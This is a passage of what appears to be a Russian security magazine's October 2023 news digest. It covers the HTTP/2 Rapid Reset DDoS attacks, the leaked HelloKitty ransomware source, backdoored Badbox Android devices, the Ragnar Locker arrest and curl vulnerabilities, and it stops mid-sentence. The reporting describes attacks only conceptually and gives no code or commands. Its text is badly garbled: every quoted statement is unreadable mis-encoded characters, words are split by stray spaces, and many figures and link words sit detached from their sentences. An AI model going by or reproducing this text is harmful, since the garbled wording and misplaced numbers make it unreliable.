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В этом месяце: уяз вимость HTTP/2 Rapid Reset ста ла при- 
чиной мощ ней ших DDoS-атак, в тысячах устрой ств
на Android наш ли бэк дор, раз работ чика вымога теля Ragnar
Locker арес товали, устрой ства Cisco IOS XE под верга ются
мас совым ата кам, уче ные раз работа ли ата ку side-channel
iLeakage, угро жающую устрой ствам Apple, а так же дру гие
инте рес ные события октября.

ОТРАЖЕН
МОЩНЕЙШИЙ DDOS
В ИСТОРИИ

Спе циалис ты Amazon Web Services (AWS), Cloudare и Google пре дуп редили
о 0-day-проб леме HTTP/2 Rapid Reset, которую зло умыш ленни ки исполь зуют
для DDoS-атак с августа текуще го года.

Бла года ря уяз вимос ти в про токо ле HTTP/2 мощ ность атак, нап равлен ных
на облачную инфраструк туру Google, дос тигла 398 мил лионов зап росов
в секун ду (requests per second), а ата ки, нап равлен ные на AWS и Cloudare,
пре выси ли 155 мил лионов и 201 мил лион зап росов в секун ду.

Для срав нения: прош лый рекорд сос тавлял 71 мил лион зап росов в секун- 
ду и был  в начале 2023 года.за фик сирован

Ата ки, отра жен ные Google

Ко рень проб лемы кро ется в уяз вимос ти нулево го дня ,
сущес тво вание которой спе циалис там приш лось хра нить в сек рете боль ше
месяца, что бы дать пос тавщи кам защит ных решений и про чим заин тересо- 
ван ным сто ронам вре мя отре аги ровать, преж де чем об уяз вимос ти ста нет
извес тно зло умыш ленни кам.

CVE-2023-44487

Уяз вимость была обна руже на в про токо ле HTTP/2 и, как уже нет рудно
догадать ся, может исполь зовать ся для орга низа ции мощ ных DDoS-атак.
Дело в том, что важ ной осо бен ностью HTTP/2 явля ется муль тип лекси рова ние
зап росов в одном TCP-соеди нении, что реали зова но в виде парал лель ных
потоков.

Хо тя для пре дот вра щения атак в про токо ле HTTP/2 пре дус мотре на защита
в виде парамет ра, огра ничи вающе го количес тво одновре мен но активных
потоков, она не всег да помога ет. Поэто му раз работ чики про токо ла при дума- 
ли более эффектив ную защит ную меру — отме ну зап роса, которая не при- 
водит к пол ному раз рыву соеди нения, но, к сожале нию, может исполь зовать- 
ся не по наз начению.

Так, кли ент, жела ющий прер вать зап рос, может исполь зовать фрейм
RST_STREAM для прек ращения обме на дан ными. Ата ка HTTP/2 Rapid Reset
экс плу ати рует имен но эту осо бен ность про токо ла, что бы очень быс тро
отправ лять и отме нять зап росы, тем самым обхо дя уста нов ленный сер вером
мак симум для одновре мен ных потоков.

Ра бота RST_STREAM (Cloudare)

«

»

«Àòà êè HTTP/2 Rapid Reset ñòðî ÿòñÿ íà èñïîëü çîâàíèè íåñ êîëü êèõ
HTTP/2-ñîåäè íåíèé è áûñ òðîì ÷åðåäî âàíèè çàï ðîñîâ è îòìåí. Íàï- 
ðèìåð, ïåðåäà åòñÿ ñåðèÿ çàï ðîñîâ íà íåñ êîëü êî ïîòîêîâ ñ ïîñ ëåäó- 
þùåé îòìå íîé äëÿ êàæ äîãî èç íèõ. Öåëåâàÿ ñèñ òåìà áóäåò àíà ëèçè- 
ðîâàòü è âûïîë íÿòü êàæ äûé çàï ðîñ, ãåíåðè ðóÿ æóð íàëû äëÿ çàï ðîñà,
êîòîðûé çàòåì ñáðà ñûâà åòñÿ èëè îòìå íÿåò ñÿ êëè åíòîì», — ïèøóò ñïå- 
öèàëèñ òû AWS.

«Ïðî òîêîë íå òðå áóåò îò êëè åíòà è ñåð âåðà êàêèì�ëèáî îáðà çîì
ñîã ëàñîâû âàòü îòìå íó, è êëè åíò ìîæåò ñäå ëàòü ýòî â îäíîñòî ðîí íåì
ïîðÿä êå, — îáú ÿñíÿ åò Google. — Òàê æå êëè åíò ïîëàãà åò, ÷òî îòìå íà
âñòó ïèò â ñèëó íåìåä ëåííî, êàê òîëü êî ñåð âåð ïîëó÷èò ôðåéì
RST_STREAM, äî òîãî êàê áóäóò îáðà áîòà íû ëþáûå äðó ãèå äàí íûå
ýòî ãî TCP-ñîåäè íåíèÿ».

То есть, ини циируя сот ни тысяч потоков HTTP/2 и быс тро отме няя их, зло- 
умыш ленни ки могут пол ностью выводить сай ты из строя, не пре вышая мак- 
сималь ное количес тво потоков, раз решен ное сер вером. Еще один важ ный
аспект этой проб лемы в том, что эти ата ки могут быть реали зова ны силами
отно ситель но неболь ших бот нетов, сос тоящих при мер но из 20 тысяч машин.

Ло гика работы HTTP/2 Rapid Reset

«
»

«Àâòî ìàòè çèðóÿ è ìàñ øòà áèðóÿ ýòîò ïðîñ òîé øàá ëîí „çàï ðîñ, îòìå íà,
çàï ðîñ, îòìå íà“, çëî óìûø ëåííè êè ìîãóò äîáèòü ñÿ îòêà çà â îáñëó- 
æèâà íèè è îòêëþ ÷èòü ëþáîé ñåð âåð èëè ïðè ëîæå íèå, ðàáîòà þùåå
ñî ñòàí äàð òíîé èìïëå ìåí òàöè åé HTTP/2», — îáú ÿñíÿ þò â Cloudflare.

Так же экспер ты Cloudare сооб щают, что прок си-сер веры или балан сиров- 
щики наг рузки HTTP/2 осо бен но вос при имчи вы к таким ата кам. Так, сеть ком- 
пании ока залась перег ружена на учас тке меж ду TLS-прок си и апс три мом,
поэто му ущерб был нанесен еще до того, как вре донос ные зап росы попали
под бло киров ку. В ито ге ата ки при вели к уве личе нию количес тва оши- 
бок 502 для кли ентов Cloudare.

По сло вам пред ста вите лей Cloudare, в ито ге для борь бы с ата ками
HTTP/2 Rapid Reset была исполь зована сис тема, пред назна чен ная для обра- 
бот ки гиперобъ емных (hyper-volumetric) атак, под наз вани ем IP Jail, которую
ком пания рас ширила для охва та всей сво ей инфраструк туры.

Эта сис тема помеща ет IP-адре са наруши телей «в тюрь му» и зап реща ет
им при менять HTTP/2 для любого домена Cloudare в течение опре делен ного
пери ода, при этом для реаль ных поль зовате лей, исполь зующих этот IP-адрес,
про изво дитель ность сни жает ся лишь нез начитель но.

Ком пания Amazon, в свою оче редь, заяви ла, что отра зила уже десят ки
подоб ных атак, одна ко не рас кры вает под робной информа ции об этих инци- 
ден тах и их пос ледс тви ях. Лишь под черки вает ся, что дос тупность кли ент ских
сер висов была сох ранена.

В Google заяви ли, что ком пании уда лось смяг чить эти ата ки, уве личив
допол нитель ную про пус кную спо соб ность на гра нице сво ей сети.

В ито ге все три ком пании дела ют вывод, что наилуч шим спо собом защиты
от HTTP/2 Rapid Reset будет исполь зование всех дос тупных средств защиты
от HTTP-флу да, а так же повыше ние устой чивос ти к DDoS-ата кам пос редс- 
твом мно гог ранных защит ных мер.

К сожале нию, пос коль ку дан ные ата ки стро ятся на про токо ле HTTP/2,
не сущес тву ет еди ного решения, поз воля юще го пол ностью бло киро вать этот
вид DDoS’а.

«

»

«Ñðåäñ òâà çàùèòû îò ýòî ãî âåê òîðà àòàê ìîãóò ïðè íèìàòü ðàç ëè÷íûå
ôîð ìû, íî â îñíîâíîì îíè ñâî äÿò ñÿ ê îòñëå æèâà íèþ ñòà òèñ òèêè
ñîåäè íåíèé è èñïîëü çîâàíèþ ðàç ëè÷íûõ ñèã íàëîâ è áèç íåñ�ëîãèêè
äëÿ îïðå äåëå íèÿ ïîëåç íîñòè êàæ äîãî ñîåäè íåíèÿ, — ðàñ ñêà çûâà þò
èíæå íåðû Google. — Íàï ðèìåð, åñëè ñîåäè íåíèå èìå åò
áîëåå 100 çàï ðîñîâ è áîëåå 50% èç íèõ îòìå íåíû, îíî ñòà íîâèò ñÿ
êàí äèäàòîì äëÿ ïðè ìåíå íèÿ îòâåòíûõ ìåð. Ìàñ øòà áû è òèï ýòèõ
îòâåòíûõ ìåð çàâèñÿò îò ñòå ïåíè ðèñ êà äëÿ êàæ äîé êîí êðåò íîé ïëàò- 
ôîðìû, íî îíè ìîãóò âàðü èðî âàòü ñÿ îò ïðè íóäè òåëü íîãî èñïîëü- 
çîâàíèÿ ôðåé ìîâ GOAWAY äî íåìåä ëåííî ãî çàê ðûòèÿ TCP-ñîåäè- 
íåíèÿ.

Äëÿ çàùèòû îò âàðè àíòà àòà êè, êîã äà çëî óìûø ëåííè êè íå îòìå íÿþò
çàï ðîñû ñðà çó, ìû ðåêîìåí äóåì ñåð âåðàì HTTP/2 çàê ðûâàòü ñîåäè- 
íåíèÿ, ïðå âûøà þùèå ëèìèò îäíîâðå ìåí íûõ ïîòîêîâ. Ýòî ìîæåò ïðî- 
èñõî äèòü êàê ñðà çó, òàê è ïîñ ëå íåáîëü øîãî êîëè÷åñ òâà ïîâ òîðíûõ
íàðóøå íèé».

ЦЕНА УТЕЧКИ ДАННЫХ — 5,5 ÌÈËËÈÎÍÀ ÐÓÁËÅÉ

Спе циалис ты ГК «Солар» сооб щили, что клю чевой угро зой для рос сий ско го биз неса
в 2023 году ста ли мас штаб ные утеч ки кон фиден циаль ной информа ции, которые теперь про- 
исхо дят еже месяч но. Круп ный биз нес и государс твен ный сег мент теря ют от одной утеч ки
в сред нем  руб лей.5,5 мил лиона

Эта оцен ка вклю чает пря мые финан совые издер жки, но не учи тыва ет потен циаль ные репута- 
цион ные потери, а так же штраф ные сан кции. При этом более  рас ходов на лик видацию
пос ледс твий таких инци ден тов в орга низа циях идут имен но на решение проб лем, свя зан ных
с репута цион ными потеря ми.

55%

С утеч ками информа ции чаще все го стал кива ются ком пании из сфе ры ретей ла ( ), финан- 
сового сек тора ( ) и игро вой индус трии ( ). Общий объ ем опуб ликован ных дан ных уже
сос тавля ет .

37%
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91,8 Тбайт

УТЕКЛИ ИСХОДНИКИ
HELLOKITTY

На рус ско языч ном хак форуме выложи ли исходный код мал вари HelloKitty.
Пред полага емый автор вымога теля заявил, что уже раз рабаты вает новый,
более мощ ный шиф роваль щик.

Пер вым пуб ликацию исходни ков обна ружил ИБ-иссле дова тель 3xp0rt. Он
сооб щил, что нек то под ником kapuchin0 выложил на хакер ском форуме «пер- 
вую вет ку» шиф роваль щика HelloKitty.

Хо тя на этот раз хакер исполь зовал ник kapuchin0, так же он известен
под псев донимом Gookee. Это го челове ка свя зыва ли с попыт кой про дать
дос туп к сети Sony Network Japan в 2020 году и с RaaS-угро зой Gooke
Ransomware, исходни ки которой он тоже пытал ся про дать на хакер ском
форуме.

3xp0rt счи тает, что соз дал вымога тель HelloKitty имен но
kapuchin0/Gookee, а сам хакер заяв ляет, что уже работа ет над новым про дук- 
том, который будет «гораз до инте рес нее, чем LockBit».

Об народо ван ный архив hellokitty.zip содер жит решение Microsoft Visual
Studio для соз дания шиф роваль щика и дешиф ратора HelloKitty, а так же биб- 
лиоте ку NTRUEncrypt, которую эта вер сия вымога теля исполь зует для шиф- 
рования фай лов.

Из вес тный ИБ-эксперт Май кл Гил леспи (Michael Gillespie) уже под твер дил,
что в откры том дос тупе опуб ликован нас тоящий исходный код HelloKitty,
который исполь зовал ся в ата ках в 2020 году.

Ис сле дова тели отме чают, что обыч но пос ле уте чек и рас кры тий исходных
кодов мал вари их берут на воору жение дру гие зло умыш ленни ки, которые
потом стро ят на их осно ве собс твен ные вре доно сы. К при меру, ранее в этом
году экспер ты SentinelOne , что сра зу нес коль ко хак групп исполь- 
зуют попав ший в откры тый дос туп исходный код шиф роваль щика Babuk
и соз дали на его базе как минимум девять вре доно сов, ори енти рован ных
на VMware ESXi.

под счи тали

САТЬЯ НАДЕЛЛА ОБ УХОДЕ С РЫНКА СМАРТФОНОВ
В боль шом интервью изда нию Business Insider гла ва ком пании Microsoft Сатья Надел ла сооб- 
щил, что жале ет о сво ем решении вывес ти Microsoft с рын ка мобиль ных устрой ств. Ког да жур- 
налист поп росил его наз вать какую-либо стра теги чес кую ошиб ку или прос то неудач ное
решение, о котором Надел ла сожале ет в рет роспек тиве, тот отве тил, что оно свя зано
с Windows Phone.

→ «Решение, о котором, как мне кажет ся, говорят мно гие (и одно из самых
слож ных решений, которые я при нял, став CEO), зак лючалось в том, что мы
отка зались от мобиль ных телефо нов в том виде, в котором они тог да сущес тво- 
вали. Огля дыва ясь назад, думаю, мы мог ли бы спра вить ся с этой задачей, воз- 
можно пере осмыслив катего рию вычис литель ных устрой ств меж ду ПК, план- 
шетами и телефо нами», — рас ска зал Надел ла.

Продолжение статьи →

mailto:nefedova@glc.ru
https://xakep.ru/2023/02/14/71-mln-rps/
https://nvd.nist.gov/vuln/detail/CVE-2023-44487
https://xakep.ru/2023/05/15/babuk-followers/
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ОБНАРУЖЕНЫ
ANDROID-ДЕВАЙСЫ
С БЭКДОРОМ

В начале текуще го года незави симый ИБ-иссле дова тель Дани эль Милишич
(Daniel Milisic) , что на Amazon про дают ся Android-прис тавки T95,
пря мо «из короб ки» заражен ные слож ной мал варью. Теперь это иссле дова- 
ние про дол жили спе циалис ты ком пании Human Security, и выяс нилось, что
бэк дор содер жат семь прис тавок и один план шет, а так же приз наки зараже- 
ния демонс три руют более 200 моделей дру гих Android-устрой ств.

об наружил

От чет Human Security раз делен на две основные час ти. Раз дел Badbox
каса ется заражен ных Android-устрой ств и их учас тия в раз личных мошен- 
ничес ких схе мах. Вто рая часть, получив шая наз вание Peachpit, рас ска зыва ет
о свя зан ном рек ламном мошен ничес тве, в котором задей ство вано
как минимум 39 при ложе ний для Android и iOS.

Все началось с того, что во вто рой полови не 2022 года иссле дова тели
обна ружи ли при ложе ние для Android, которое демонс три рова ло подоз- 
ритель ный тра фик и под клю чалось к домену yermobi.com. В янва- 
ре 2023 года Милишич опуб ликовал свое иссле дова ние прис тавки T95, где
тоже упо минал ся этот домен. Пос ле это го коман да Human Security при обре ла
эту прис тавку, а так же нес коль ко дру гих девай сов и прис тупила к их изу чению.

В общей слож ности иссле дова тели обна ружи ли восемь устрой ств с уста- 
нов ленны ми бэк дорами: прис тавки T95, T95Z, T95 Max, X88, Q9, X12 Plus
и MXQ Pro 5G, а так же план шет J5-W. Сум марно Human Security выяви ла
не менее 74 тысяч Android-устрой ств с приз наками зараже ния Badbox по все- 
му миру, в том чис ле в домах, на пред при ятиях и в шко лах на тер ритории
США.

Куп ленные и изу чен ные экспер тами устрой ства

Та кие устрой ства про изво дят ся в Китае, и перед тем, как они попада ют в руки
ресел леров, в их про шив ку добав ляет ся бэк дор. При этом неиз вес тно,
на каком эта пе цепоч ки пос тавок про исхо дит ком про мета ция. В пос вящен ной
Badbox час ти отче та экспер ты отме чают, что бюд жетные Android-прис тавки
для потоко вого видео (как пра вило, сто имостью менее 50 дол ларов) зачас- 
тую про дают ся под раз ными брен дами или вооб ще его не име ют, так что
прос ледить их про исхожде ние и цепоч ку пос тавок может быть зат рудни тель- 
но.

По сло вам спе циалис тов, обна ружен ный бэк дор осно ван на мобиль ной
мал вари , впер вые обна ружен ной в 2016 году «Лабора тори ей Кас пер- 
ско го». Этот вре донос модифи циру ет один из эле мен тов ОС Android, получая
дос туп к уста нов ленным на устрой стве жер твы при ложе ниям, а пос ле свя- 
зыва ется со сво ими опе рато рами.

Triada

«

»

«Êîã äà ïîëü çîâàòåëü ïîä êëþ ÷àåò òàêîå óñòðîé ñòâî, îíî ñâÿ çûâà åòñÿ

ñî ñâî èì óïðàâëÿ þùèì ñåð âåðîì â Êèòàå, çàã ðóæà åò îòòó äà íàáîð

èíñ òðóê öèé è íà÷èíà åò äåëàòü êó÷ó ïëî õèõ âåùåé, — ïèøóò èññëå äîâà- 

òåëè. — Ýòî êàê øâåé öàð ñêèé íîæ äëÿ ñîâåð øåíèÿ ïàêîñ òåé

â èíòåðíå òå».

Эк спер там уда лось отсле дить нес коль ко видов мошен ничес тва, свя зан ных
со взло ман ными устрой ства ми. Нап ример, заражен ные гад жеты исполь зуют- 
ся в рек ламном мошен ничес тве, в качес тве резиден тных прок си, при меня- 
ются для соз дания фей ковых учет ных записей Gmail и WhatsApp, а так же
для уда лен ной уста нов ки мал вари.

Зло умыш ленни ки про дают дос туп к ском про мети рован ным домаш ним
сетям сво их жертв дру гим прес тупни кам, заяв ляя, что сей час име ют дос туп
при мер но к 10 мил лионам домаш них IP-адре сов и 7 мил лионам мобиль ных
IP-адре сов.

Что каса ется упо мяну той выше мошен ничес кой схе мы Peachpit, она стро- 
ится вок руг мобиль ных при ложе ний, которые при сутс тво вали как на Android-
прис тавках, так и на телефо нах под управле нием Android и iOS.

Сум марно ком пания выяви ла 39 вре донос ных при ложе ний для Android,
iOS и прис тавок. В основном это ока зались шаб лонные при ложе ния не очень
высоко го качес тва, сре ди которых были решения для фит неса и под сче та
выпитой воды. Эти при ложе ния выпол няли целый ряд мошен ничес ких дей- 
ствий, вклю чая показы скры той и вре донос ной рек ламы (через скры тый
WebView), а так же спу финг тра фика. По под сче там иссле дова телей, толь ко
при ложе ния для Android были сум марно заг ружены более 15 мил лионов раз.

Хо тя раз работ чики Peachpit, судя по все му, не явля ются раз работ чиками
Badbox, авто ры иссле дова ния утвер жда ют, что эти груп пы вза имо дей ству ют
меж ду собой.

«
»

«Ó íèõ åñòü SDK, êîòîðûé ïðåä íàçíà ÷åí äëÿ ðåê ëàìíî ãî ìîøåí íè÷åñ- 

òâà, è ìû îáíà ðóæè ëè âåð ñèþ ýòî ãî SDK, ñîâ ïàäà þùóþ ñ íàç âàíè åì

ìîäóëÿ, êîòîðûé óñòà íàâ ëèâàë ñÿ íà Badbox. Ýòî òîëü êî îäíà èç ñâÿ- 

çåé, êîòîðûå ìû âûÿâè ëè», — ñîîá ùàþò â Human Security.

По дан ным иссле дова телей, с рек ламны ми объ явле ниями этой кам пании свя- 
зано более 4 мил лиар дов рек ламных зап росов в день, которые зат рагива- 
ют 121 тысячу устрой ств под управле нием Android и 159 тысяч устрой ств
под управле нием iOS. По самым скром ным под сче там, учас тни ки этой схе мы
могут зараба тывать до 2 мил лионов дол ларов за месяц.

Пред ста вите ли Google сооб щают, что все 20 при ложе ний для Android,
которые обна ружи ли иссле дова тели Human Security, уже уда лены из Google
Play Store. Что каса ется устрой ств с бэк дорами Badbox, в ком пании отме тили,
что эти устрой ства «не были сер тифици рова ны Play Protect».

В свою оче редь, пред ста вите ли Apple заяви ли, что пять при ложе ний
из тех, о которых сооб щили иссле дова тели, наруша ли пра вила ком пании.
Раз работ чикам было дано 14 дней, что бы устра нить эти наруше ния, и раз- 
работ чики четырех из пяти при ложе ний это сде лали.

В зак лючение экспер ты Human Security сооб щают, что с кон ца 2022 года
они пред при няли ряд неких мер, нап равлен ных про тив Badbox и Peachpit,
а так же переда ли все соб ранные дан ные пра воох ранитель ным орга нам.
В резуль тате к нас тояще му момен ту эти мошен ничес кие схе мы прак тичес ки
прек ратили свою работу.

Ис сле дова тели под черки вают, что зло умыш ленни ки адап тирова лись к их
вме шатель ству в режиме реаль ного вре мени: сна чала они активно рас- 
простра няли обновле ния, которые помога ли им скры вать свои дей ствия,
а затем опе рато ры Badbox вооб ще отклю чили управля ющие сер веры, обес- 
печивав шие работу бэк дора.

Сок ращение мас шта бов Badbox

Нес мотря на это, заражен ные устрой ства по-преж нему работа ют во мно гих
домах и орга низа циях по все му миру. Экспер ты пре дуп режда ют, что уда лить
с них мал варь будет край не слож но, поэто му такие девай сы сле дует рас смат- 
ривать как «спя щую» угро зу, которая поп росту ждет нового набора инс трук- 
ций.

Рав но как и Дани эль Милишич, иссле дова тели рекомен дуют людям,
покупа ющим Android-прис тавки, при обре тать устрой ства, чей про изво дитель
известен и зас лужива ет доверия, и по воз можнос ти отка зать ся от исполь- 
зования потен циаль но опас ных IoT-гад жетов.

«

»

«Ëþáîé ìîæåò ñëó ÷àé íî êóïèòü Badbox-óñòðîé ñòâî â èíòåðíå òå, äàæå

íå ïîäîç ðåâàÿ, ÷òî ýòî ôàëü øèâ êà, ïîä êëþ ÷èòü åãî è íåîñîç íàííî

çàïóñ òèòü âðå äîíîñ íîå ÏÎ ñ áýê äîðîì. Ýòî âðå äîíîñ íîå ÏÎ ìîæåò

èñïîëü çîâàòü ñÿ äëÿ êðà æè ëè÷ íûõ äàí íûõ, çàïóñ êà ñêðû òûõ áîòîâ,

ñîç äàíèÿ ðåçèäåí òíûõ ïðîê ñè, êðà æè ôàé ëîâ cookie è îäíî ðàçî âûõ

ïàðîëåé, à òàê æå ðåàëè çàöèè óíè êàëü íûõ ìîøåí íè÷åñ êèõ ñõåì», —

ïðå äîñ òåðåãà þò àíà ëèòè êè.

ГИПЕРОБЪЕМНЫЕ DDOS-АТАКИ УСИЛИВАЮТСЯ
В треть ем квар тале 2023 года ком пания Cloudare отра зила тысячи гиперобъ емных DDoS-атак,
в которых исполь зовалась недав но обна ружен ная уяз вимость . Мощ ность

 из этих атак пре выси ла  зап росов в секун ду (requests per second).
HTTP/2 Rapid Reset

89 100 мил лионов

Са мая круп ная ата ка это го квар тала дос тигла пиковой мощ ности в  зап росов
в секун ду, что  пре выша ет пре дыду щий рекорд, уста нов ленный в фев- 
рале 2023 года.

201  мил лион
в три раза

Так же Cloudare сооб щает об уве личе нии совокуп ного объ ема HTTP-тра фика DDoS-атак
на  за пос ледний квар тал и уве личе нии количес тва DDoS-атак L3/L4 на .65% 14%

В целом  от обще го количес тва DDoS-тра фика было нап равле но на орга низа ции в ,
более  дос талось ком пани ям в , а на треть ем мес те ока зал ся  с .

5% США
3,1% Син гапуре Ки тай 2,2%

Но есть и хорошие новос ти: количес тво вымога тель ских DDoS-атак сни жает ся вто рой квар тал
под ряд. По сло вам иссле дова телей, «зло умыш ленни ки осоз нали, что орга низа ции не будут им
пла тить».

MICROSOFT
ЗАПРЕТИТ
АКТИВАЦИЮ
СТАРЫМИ КЛЮЧАМИ

Об наружи лось, что ком пания Microsoft прик рыла одну из излюблен ных «лазе- 
ек» поль зовате лей и зап ретила акти виро вать Windows 10 или Windows 11 ста- 
рыми клю чами от Windows 7 и Windows 8.

В кон це сен тября ком пания Microsoft  о том, что фор маль но
пред ложение по бес плат ному обновле нию ста рых ОС до Windows
10 или 11 было акту аль но толь ко до 29 июля 2016 года. В ком пании под чер- 
кну ли, что пред ложение дав но истекло, теперь спо соб бес плат ного обновле- 
ния зак рыт.

на пом нила

Так же в сооб щении уточ няет ся, что поль зовате ли Windows 10 по-преж- 
нему могут бес плат но перей ти на Windows 11 (конеч но, если их компь юте ры
соот ветс тву ют необ ходимым ).тре бова ниям

Де ло в том, что, хотя пред ложение по бес плат ному перехо ду на Windows
10 дей ство вало толь ко до 29 июля 2016 года (а пос ле этой даты его перес- 
тали показы вать поль зовате лям), быс тро обна ружи лось, что ста рые уста нов- 
ки Windows все рав но мож но обно вить с помощью заг ружен ных ISO-обра зов
и USB-накопи телей, а так же мож но исполь зовать ста рые клю чи Windows
для акти вации новых уста новок. И эта «лазей ка» оста валась акту аль ной
по сей день.

Су дя по все му, зап рет будет при менять ся толь ко к будущим вер сиям
Windows. Так, акти виро вать новую уста нов ку Windows 11 Pro 22H2 с помощью
клю ча от Windows 8 Pro все еще воз можно, одна ко акти виро вать новую тес- 
товую сбор ку Windows 11 Canary (24H2) — уже нель зя.

В РОССИИ ЗАБЛОКИРОВАНО  VPN167

Гла ва Цен тра монито рин га и управле ния сетью свя зи обще го поль зования (ЦМУ ССОП) Сер гей
Хутор цев сооб щил, что к нас тояще му момен ту в Рос сии под бло киров ку попали  VPN-сер- 
висов и более  поч товых сер висов в рам ках про тиво дей ствия угро зам устой чивос ти,
безопас ности и целос тнос ти сети свя зи.

167
200

Так же, по его сло вам, под огра ниче ния попада ют более  информа цион ных ресур сов,
более  фишин говых сай тов, более  при ложе ний и более  «цен тров рас простра нения
вре донос ного ПО». При этом  IP-адре сов вклю чены в «белый спи сок» и исклю чены
из филь тра ции в сис темах бло киров ки ТСПУ (тех ничес кие средс тва про тиво дей ствия угро зам).

590 000
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АРЕСТОВАН
РАЗРАБОТЧИК
RAGNAR LOCKER

Пра воох раните ли зах ватили сай ты вымога тель ской груп пиров ки Ragnar
Locker, через которые зло умыш ленни ки вели перего воры со сво ими жер тва- 
ми и сли вали укра ден ные дан ные, что бы шан тажиро вать пос тра дав ших.

Те перь при посеще нии любого из сай тов Ragnar Locker мож но уви деть
сооб щение-заг лушку, в котором говорит ся о кон фиска ции сай тов, а так же
сооб щает ся, что в этой опе рации при нима ли учас тие пра воох ранитель ные
орга ны из Гер мании, Испа нии, Ита лии, Лат вии, Нидер ландов, США, Фран- 
ции, Чехии и Япо нии.

Вско ре пос ле это го пред ста вите ли Евро пола сооб щили, что «клю чевая
цель», свя зан ная с этой хак груп пой, арес тована в Париже.

«

»

«„Êëþ ÷åâàÿ öåëü“, ñâÿ çàí íàÿ ñ ýòèì âûìîãà òåëü ñêèì ÏÎ, àðåñ òîâàíà

â Ïàðèæå (Ôðàí öèÿ) 16 îêòÿáðÿ, à â äîìå ýòî ãî ÷åëîâå êà â ×åõèè ïðî- 

âåäåí îáûñê. Â ïîñ ëåäó þùèå äíè áûëè ïðî âåäå íû äîï ðîñû ïÿòè

ïîäîç ðåâà åìûõ â Èñïà íèè è Ëàò âèè, — çàÿâ ëÿåò Åâðî ïîë. — Â êîí öå

ýòîé íåäåëè ãëàâ íûé çëî óìûø ëåííèê, ïîäîç ðåâà åìûé â òîì, ÷òî îí

ðàç ðàáîò ÷èê ýòîé ãðóï ïèðîâ êè, ïðåä ñòàë ïåðåä ñóäåá íûìè ñëå äîâà- 

òåëÿ ìè ïàðèæ ñêî ãî ñóäà».

Из вес тно, что арес тован ному во Фран ции подоз рева емо му уже предъ явлен
ряд обви нений, свя зан ных с вымога тель ством, отмы вани ем денег и учас тием
в прес тупных опе раци ях.

Как сооб щают пра воох раните ли, еще в мае 2021 года Евро юст открыл
дело, свя зан ное с Ragnar Locker, по зап росу фран цуз ских влас тей. В резуль- 
тате этой сов мес тной опе рации еще в сен тябре 2021 года укра инская кибер- 
полиция арес товала двух подоз рева емых, а впос ледс твии,
в октябре 2022 года, еще один подоз рева емый был задер жан в Канаде в ходе
сов мес тной опе рации, про веден ной пра воох ранитель ными орга нами Фран- 
ции, Канады и США.

В ито ге эти дей ствия при вели к новым арес там и кон фиска ции девяти сер- 
веров груп пиров ки. Сооб щает ся, что в ито ге была отклю чена инфраструк тура
груп пы, в том чис ле пять сер веров в Нидер ландах, два в Гер мании и два
в Шве ции.

Как отме чают в Евро поле, с 2020 года опе рато ры Ragnar Locker ата кова- 
ли 168 меж дународ ных ком паний в раз ных стра нах мира, в том чис ле про вели
серию атак, нацелен ных на объ екты кри тичес кой инфраструк туры.

ВИТАЛИК БУТЕРИН НЕ ПРОДАВАЛ ETH С 2018 ГОДА
Круп ные крип товалют ные тран закции в сети не оста ются незаме чен ными. На этот раз вни- 
мание ана лити ков PeckShield прив лек перевод 14,93 мил лиона USDC на бир жу Gemini
с кошель ка vitalik.eth, свя зан ного с соуч редите лем Ethereum Витали ком Бутери ным.

В ответ на воз никшие слу хи Бутерин заявил в соци аль ной сети Warpcast, что не про давал
крип товалю ту уже мно го лет. А пред ста вите ли Ethereum Foundation пояс нили СМИ, что это была
лишь опе рация под писи с исполь зовани ем име ни Бутери на в Ethereum.

→ «Регуляр ное напоми нание: если вы видите статью „Виталик отпра вил XXX
ETH на [бир жу]“, на самом деле я ничего не про давал. Поч ти всег да [это озна- 
чает], что я жер тво вал на какой-то бла гот воритель ный, неком мерчес кий
или дру гой про ект, а получа тель про давал, потому что ему было нуж но пок рыть
рас ходы.

Я не „про давал“ ETH для лич ной выгоды с 2018 года», — заявил Бутерин.

УЯЗВИМОСТИ CURL
ОКАЗАЛИСЬ
НЕСТРАШНЫМИ

В начале месяца раз работ чики curl пре дуп редили, что 11 октября 2023 года
вый дут пат чи для двух уяз вимос тей, одна из которых может стать «худ шей»
за пос леднее вре мя. Исправ ления дей стви тель но выш ли, но ока залось, что
серь езность проб лем была силь но пре уве личе на.

4 октября раз работ чик curl Дэни ел Стен берг (Daniel Stenberg) пре дуп- 
редил, что цикл раз работ ки curl 8.4.0 будет сок ращен и новая вер сия вый- 
дет 11 октября ради устра нения уяз вимос тей.

«

»

«Ìû ñîê ðàùà åì ðåëèç�öèêë è 11 îêòÿáðÿ âûïóñ òèì curl 8.4.0,

â êîòîðóþ âîé äóò èñïðàâ ëåíèÿ äëÿ îäíîé CVE âûñîêîé ñòå ïåíè ñåðü-

åçíîñòè è îäíîé CVE íèç êîé ñòå ïåíè ñåðü åçíîñòè, — ïèñàë Ñòåí- 

áåðã. — Òà óÿç âèìîñòü, êîòîðàÿ èìå åò âûñîêóþ ñòå ïåíü ñåðü åçíîñòè,

âåðî ÿòíî, îêà æåò ñÿ õóä øåé ïðîá ëåìîé áåçîïàñ íîñòè â curl çà äîë ãîå

âðå ìÿ».

Пос коль ку ути лита коман дной стро ки curl и свя зан ная с ней биб лиоте ка libcurl
широко исполь зуют ся во мно гих биб лиоте ках и при ложе ниях, а так же вхо дят
в сос тав прак тичес ки всех опе раци онных сис тем, это пре дуп режде ние выз- 
вало нешуточ ные опа сения сре ди ИБ-спе циалис тов и раз работ чиков.
Некото рые даже пред полага ли, что проб лема может ока зать ся столь же
серь езной, как  в Log4j.на шумев шая уяз вимость

Но ког да раз работ чики пред ста вили  и обна родо вали информа- 
цию об уяз вимос тях, ста ло ясно, что угро за была пре уве личе на.

curl 8.4.0

Что каса ется менее опас ной уяз вимос ти, , она свя зана
с инжекта ми фай лов cookie и зат рагива ет толь ко libcurl
(от 7.9.1 до 8.3.0 вклю читель но). Как объ ясня ют сами раз работ чики, веро- 
ятность того, что зло умыш ленни ки выпол нят ряд усло вий, необ ходимых
для сра баты вания этой уяз вимос ти, край не мала. Кро ме того, по их сло вам,
cookie-инъ екции пред став ляют лишь неболь шой риск для безопас ности
поль зовате лей.

CVE-2023-38546

Вто рая уяз вимость, , которая дол жна была стать «худ- 
шей» в исто рии, пред став ляет собой перепол нение буфера хипа и зас тра- 
гива ет импле мен тацию прок си-про токо ла SOCKS5 в curl и libcurl. Об этой
ошиб ке через плат форму HackerOne сооб щил ИБ-иссле дова тель Джей
